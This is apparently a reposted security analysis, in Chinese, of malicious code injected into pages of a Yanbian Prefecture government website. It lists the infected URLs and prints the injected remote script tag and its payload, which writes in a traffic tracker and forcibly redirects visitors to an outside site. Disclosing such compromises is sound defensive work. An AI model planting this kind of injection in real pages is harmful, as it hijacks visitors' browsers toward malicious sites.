延边州人力资源和社会保障局网站挂马分析

网站名称

延边州人力资源和社会保障局

网站域名

www.jlyb.lss.gov.cn

挂马页面

http://www.jlyb.lss.gov.cn/archives/20171123/1225/index.html

http://www.jlyb.lss.gov.cn/archives/20171127/1351/index.html

挂马代码

<script src="//m.pu186.loan/p.js"></script>

恶意代码

//51la统计
document.write ('<script language="javascript" type="text/javascript" src="//js.users.51.la/19303457.js"></script>');
//跳转网址
document.writeln("<script language=\"javascript\">window.location=\"http://www.e32689.net/?Agent=pu186vip\";<\/script>")

代码分析

利用JavaScript脚本在页面中写入一段用于统计流量和使页面跳转至“http://www.e32689.net/?Agent=pu186vip”的JavaScript脚本。

Via: freebuf